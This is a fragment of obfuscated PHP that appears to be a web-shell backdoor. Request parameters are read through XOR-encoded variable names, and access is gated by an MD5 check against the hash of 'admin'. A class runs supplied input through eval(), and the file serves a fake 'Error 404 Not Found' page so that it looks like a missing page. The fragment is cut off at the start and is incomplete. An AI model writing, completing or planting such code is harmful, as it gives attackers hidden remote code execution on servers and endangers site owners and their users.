="^"/z{i"}[1]; $b = ${"e*{#}"^":z4p)"}[2]; if(isset($b) and md5($a)=='21232f297a57a5a743894a0e4a801fc3') { class C{public function __invoke($p) {eval($p);}}; $t = "_@;%c%>;/e =)\\"^"Error 404!!1

404.Not Found

'; header('HTTP/1.1 404 Not Found'); http_response_code(404); } ?>